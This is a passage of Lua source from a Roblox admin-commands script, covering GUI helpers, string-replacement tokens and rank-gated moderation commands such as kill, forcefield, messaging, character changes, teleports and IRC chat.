5120 if #Seconds == 1 then Seconds = "0"..Seconds end
5121 if #Minutes == 1 then Minutes = "0"..Minutes end
5122 Time.Text = Minutes..":"..Seconds
5123 wait(1)
5124 if CurrentSeconds <= 0 then
5125 Alarm:Play()
5126 Time.Text = "00:00"
5127 Part.Size = UDim2.new(1,0,1,0)
5128 Restore:Invoke()
5129 wait(4)
5130 Close:Invoke()
5131 break
5132 else
5133 Tick:Play()
5134 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5135 CurrentSeconds = CurrentSeconds - 1
5136 end
5137 end end)()
5138
5139 Closed.Event:connect(function()
5140 if Alive == true then
5141 Alive = false
5142 Tick:Stop()
5143 Alarm:Stop()
5144 end
5145 end)
5146end)() end
5147
5148function GUI:DetachChat(Player)
5149 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5150 if Player:FindFirstChild("DetachChatMML") then
5151 Player.DetachChatMML:Invoke(true)
5152 wait()
5153 Player.DetachChatMML:Destroy()
5154 end
5155
5156 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5157 local SG = Frame.Parent.Parent.Parent
5158
5159 local DCBF = Instance.new("BindableFunction", Player)
5160 DCBF.Name = "DetachChatMML"
5161 DCBF.OnInvoke = function(Remove)
5162 if Remove then
5163 SG:Destroy()
5164 end
5165 end
5166 CORE:ExecuteResource("CoreChat", SG)
5167
5168 local IsClosed = false
5169 Closed.Event:connect(function()
5170 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5171 IsClosed = true
5172 end)
5173
5174 coroutine.wrap(function()
5175 Player.CharacterRemoving:wait()
5176 if not IsClosed then
5177 IsClosed = true
5178 wait(1)
5179 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5180 end
5181 end)()
5182end
5183
5184function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5185 if not Player then return nil end
5186 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5187 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5188
5189 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5190end)() end
5191
5192function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5193 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5194 if not SoundID then SoundID = SoundInfo["ID"] end
5195 if not TitleText then TitleText = SoundInfo["Name"] end
5196 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5197 if not InputSound then InputSound = Sound end
5198
5199 local NumSounds = 0
5200 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5201 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5202 NumSounds = NumSounds + 1
5203 end
5204 end
5205
5206 local Size = UDim2.new(0.1, 100, 0.1, 100)
5207 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5208 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5209
5210 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5211 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5212 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5213 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5214 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5215 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5216 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5217
5218 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5219 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5220 if Sound then
5221 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5222 end
5223 if Time then
5224 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5225 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5226
5227 coroutine.wrap(function()
5228 local Alive = true
5229
5230 local function StopTimer() Alive = false end
5231 Closed.Event:connect(StopTimer)
5232 Minimized.Event:connect(StopTimer)
5233 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5234
5235 for i = Time,0,-1 do
5236 for ii = 1,10 do
5237 if Alive == true then
5238 Timer.Text = i
5239 wait(0.1)
5240 else
5241 break
5242 end
5243 end
5244 end
5245 if Alive == true then
5246 Close:Invoke()
5247 else
5248 Timer:Destroy()
5249 Stop:Destroy()
5250 end
5251 end)()
5252 end
5253end
5254
5255---- STRING REPLACEMENT OPERATIONS ----
5256
5257-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5258
5259-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5260
5261StringReplacements = {
5262 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5263 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5264 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5265 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5266 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5267 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5268 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5269 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5270 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5271 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5272
5273 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5274 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5275 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5276 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5277 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5278 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5279
5280 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5281 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5282 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5283 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5284 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5285 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5286 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5287 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5288 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5289 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5290 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5291 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5292 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5293 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5294 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5295 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5296}
5297
5298---- COMMANDS ----
5299
5300-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5301
5302Commands = { -- can't make local
5303 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5304 print("[MML's Admin]: Test message from "..Speaker.Name)
5305 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5306 end};
5307
5308 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5309 local Players = STRING:Scan(Arguments[1], Speaker)
5310 for _,Player in pairs(Players) do
5311 if Player.Character then
5312 Player.Character:BreakJoints()
5313 end
5314 end
5315 end};
5316
5317 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5318 local Players = STRING:Scan(Arguments[1], Speaker)
5319 for _,Player in pairs(Players) do
5320 if Player.Character then
5321 Instance.new("ForceField", Player.Character)
5322 end
5323 end
5324 end};
5325
5326 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5327 local Players = STRING:Scan(Arguments[1], Speaker)
5328 for _,Player in pairs(Players) do
5329 if Player.Character then
5330 for _,Get in pairs(Player.Character:GetChildren()) do
5331 if Get:IsA("ForceField") then
5332 Get:Destroy()
5333 end
5334 end
5335 end
5336 end
5337 end};
5338
5339 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5340 for _,Player in pairs(Server.Players:GetPlayers()) do
5341 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5342 end
5343 end};
5344
5345 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5346 for _,Player in pairs(Server.Players:GetPlayers()) do
5347 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5348 end
5349 end};
5350
5351 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5352 local Players = STRING:Scan(Arguments[1], Speaker)
5353 for _,Player in pairs(Players) do
5354 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5355 end
5356 end};
5357
5358 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5359 for _,Player in pairs(Server.Players:GetPlayers()) do
5360 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5361 end
5362 end};
5363
5364 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5365 local Players = STRING:Scan(Arguments[1], Speaker)
5366 for _,Player in pairs(Players) do
5367 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5368 end
5369 end};
5370
5371 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5372 local Players = STRING:Scan(Arguments[1], Speaker)
5373 local AgeList = {}
5374 for _,Player in pairs(Players) do
5375 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5376 end
5377 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5378 end};
5379
5380 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5381 local Players = STRING:Scan(Arguments[1], Speaker)
5382 local AgeList = {}
5383 for _,Player in pairs(Players) do
5384 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5385 end
5386 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5387 for _,Player in pairs(SecondPlayers) do
5388 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5389 end
5390 end};
5391
5392 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5393 local Storage = {{}, {}, {}, {}}
5394 local StorageText = {}
5395 local Formatted = {}
5396 for CommandNames,Data in pairs(Commands) do
5397 if not Data.Hidden then
5398 local RankNeeded = RANK:ConvertRank(Data[4])
5399 local Add = ""
5400 if Data[4] == "Non-Admin" then Add = "BLACK " end
5401 if Data[4] == "Admin" then Add = "CYAN " end
5402 if Data[4] == "Member" then Add = "BLUE " end
5403 if Data[4] == "Owner" then Add = "BROWN " end
5404 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5405 local AddBet = Settings.Bet
5406 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5407 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5408 table.insert(Storage[RankNeeded + 1], Add..Text)
5409 StorageText[Text] = CommandNames
5410 end
5411 end
5412 for Num,_ in pairs(Storage) do
5413 table.sort(Storage[Num])
5414 end
5415 for _,Table in pairs(Storage) do
5416 for _,Command in pairs(Table) do
5417 table.insert(Formatted, Command)
5418 end
5419 end
5420 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5421 Clicked.Event:connect(function(Text)
5422 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5423 end)
5424 end};
5425
5426 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5427 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5428 end};
5429
5430 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5431 if GUI:GetColor(Arguments[1]) then
5432 local ColorScheme = string.upper(Arguments[1])
5433 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5434 Settings.ColorScheme = ColorScheme
5435 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5436 else
5437 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5438 end
5439 end};
5440
5441 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5442 local List = {}
5443 for Color,_ in pairs(Colors) do
5444 table.insert(List, Color.." "..Color)
5445 end
5446 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5447 end};
5448
5449 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5450 local Transparency = tonumber(Arguments[1])
5451 if Transparency then
5452 if Transparency > 90 then Transparency = 90 end
5453 if Transparency < 10 then Transparency = 10 end
5454 Settings.TransparencyScheme = Transparency/100
5455
5456 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5457 else
5458 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5459 end
5460 end};
5461
5462 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5463 if Fonts[Arguments[1]] then
5464 Settings.Font = Arguments[1]
5465 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5466 end
5467 end};
5468
5469 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5470 Settings.Fun = not Settings.Fun
5471 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5472 end};
5473
5474 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5475 Settings.DisableAbuse = not Settings.DisableAbuse
5476 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5477 end};
5478
5479 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5480 local List = {}
5481 for Font,_ in pairs(Fonts) do
5482 if Font == Settings.Font then
5483 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5484 else
5485 table.insert(List, Font.." "..Font)
5486 end
5487 end
5488 GUI:ListGui(Speaker, "Font list", List, 44453197)
5489 end};
5490
5491 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5492 local SoundID = tonumber(Arguments[1])
5493 if SoundID then
5494 Settings.ExecuteNotificationSound = SoundID
5495
5496 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5497 else
5498 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5499 end
5500 end};
5501
5502 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5503 Settings.ExecuteNotificationSound = 0
5504 end};
5505
5506 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5507 local Players = STRING:Scan(Arguments[1], Speaker)
5508 for _,Player in pairs(Players) do
5509 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5510 end
5511 end};
5512
5513 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5514 local Players = STRING:Scan(Arguments[1], Speaker)
5515 for _,Player in pairs(Players) do
5516 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5517 end
5518 end};
5519
5520 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5521 local Players = STRING:Scan(Arguments[1], Speaker)
5522 for _,Player in pairs(Players) do
5523 coroutine.wrap(function()
5524 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5525 wait(1)
5526 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5527 end)()
5528 end
5529 end, Hidden = true};
5530
5531 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5532 local Players = STRING:Scan(Arguments[1], Speaker)
5533 for _,Player in pairs(Players) do
5534 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5535 end
5536 end};
5537
5538 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5539 local Players = STRING:Scan(Arguments[1], Speaker)
5540 for _,Player in pairs(Players) do
5541 CORE:ChangeName(Player, Arguments[2])
5542 end
5543 end};
5544
5545 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5546 local Players = STRING:Scan(Arguments[1], Speaker)
5547 for _,Player in pairs(Players) do
5548 if Player.Character then
5549 local Head = Player.Character:FindFirstChild("Label")
5550 if Head then Head:Destroy() end
5551 local Head = Player.Character:FindFirstChild("Head")
5552 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5553 end
5554 end
5555 end};
5556
5557 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5558 local Players = STRING:Scan(Arguments[1], Speaker)
5559 for _,Player in pairs(Players) do
5560 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5561 end
5562 end};
5563
5564 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5565 local Players = STRING:Scan(Arguments[1], Speaker)
5566 for _,Player in pairs(Players) do
5567 local _,RankNum = RANK:GetRank(Player)
5568 if RankNum <= RANK:ConvertRank(Rank) then
5569 Server.TS:Teleport(Arguments[2], Player)
5570 end
5571 end
5572 end};
5573
5574 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5575 local Players = STRING:Scan(Arguments[1], Speaker)
5576 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5577 if Suc then
5578 for _,Player in pairs(Players) do
5579 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5580 end
5581 else
5582 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5583 end
5584 end};
5585
5586 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5587 local Players = STRING:Scan(Arguments[1], Speaker)
5588 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5589 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5590 if Suc then
5591 for _,Player in pairs(Players) do
5592 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5593 end
5594 else
5595 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5596 end
5597 end)
5598 end};
5599
5600 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5601 local Players = STRING:Scan(Arguments[1], Speaker)
5602 for _,Player in pairs(Players) do
5603 local _,RankNum = RANK:GetRank(Player)
5604 if RankNum < RANK:ConvertRank(Rank) then
5605 Server.TS:Teleport(155307015, Player)
5606 end
5607 end
5608 end};
5609
5610 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5611 local Players = STRING:Scan(Arguments[1], Speaker)
5612 for _,Player in pairs(Players) do
5613 local _,RankNum = RANK:GetRank(Player)
5614 if RankNum < RANK:ConvertRank(Rank) then
5615 Server.TS:Teleport(347911447, Player)
5616 end
5617 end
5618 end};
5619
5620 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5621 local Players = STRING:Scan(Arguments[1], Speaker)
5622 for _,Player in pairs(Players) do
5623 CORE:GenerateShield(Player)
5624 end
5625 end};
5626
5627 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5628 local Players = STRING:Scan(Arguments[1], Speaker)
5629 for _,Player in pairs(Players) do
5630 if Player.Character then
5631 local Shield = Player.Character:FindFirstChild("Shield")
5632 if Shield then Shield:Destroy() end
5633 end
5634 end
5635 end};
5636
5637 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5638 local Num = tonumber(Arguments[1])
5639 if Num and Num ~= 0 then
5640 local Random = math.random(1,math.abs(Num))
5641 if Random == math.random(1,math.abs(Num)) then
5642 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5643 else
5644 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5645 end
5646 else
5647 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5648 end
5649 end};
5650
5651 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5652 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5653 IRC:AddChat(Speaker.Name, Arguments[1])
5654 end};
5655
5656 --[[
5657 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5658 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5659 if Res then
5660 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5661 end
5662 end, Http = true};
5663
5664 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5665 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5666 if Res then
5667 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5668 end
5669 end}, Http = true;
5670 ]]
5671
5672 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5673 IRC:Quit("Reconnecting")
5674 IRC:ConnectToServer(Settings.IRCServer)
5675 end};
5676
5677 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5678 local Players = STRING:Scan(Arguments[1], Speaker)
5679 for _,Player in pairs(Players) do
5680 local PreAdd = {}
5681 for _,Data in pairs(IRC.Chats) do
5682 local Error = nil
5683 if Rank == "Owner" then Error = Data[3] end
5684 table.insert(PreAdd, {Data[1], Data[2], Error})
5685 end
5686 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5687 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5688 if Rank ~= "Owner" then Error = nil end
